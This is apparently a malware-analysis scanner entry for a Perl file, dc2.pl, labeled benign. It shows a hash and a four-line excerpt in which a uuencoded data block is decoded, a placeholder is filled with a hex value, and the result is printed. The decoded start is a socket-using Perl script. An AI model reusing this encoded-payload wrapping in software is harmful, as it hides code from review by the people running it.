Benign php-malware-analysis Download

dc2.pl

SHA-2569acffe4ab06661d7f4c9b39987b6ad30246988df92715c30f2ee116d71e2e359

Malecule∅

Evidence

Perl sigil variable declaration lines 1–4

1#!/usr/bin/perl
2my $watDEY='';$watDEY.=$_ while(<DATA>);$watDEY=unpack('u*',$watDEY);my $watDEYa="7f787e6d78656b697e75226f63612223";$watDEYa="%"."EHLO"."_"."VALUE"."%" if !defined $watDEYa || !length $watDEYa;$watDEY=~s/\%EHLO_VALUE\%/$watDEYa/gs;print($watDEY);
3__DATA__
4M(R$O=7-R+V)I;B]P97)L"G5S92!S=')I8W0[('5S92!)3SHZ4V]C:V5T.R!U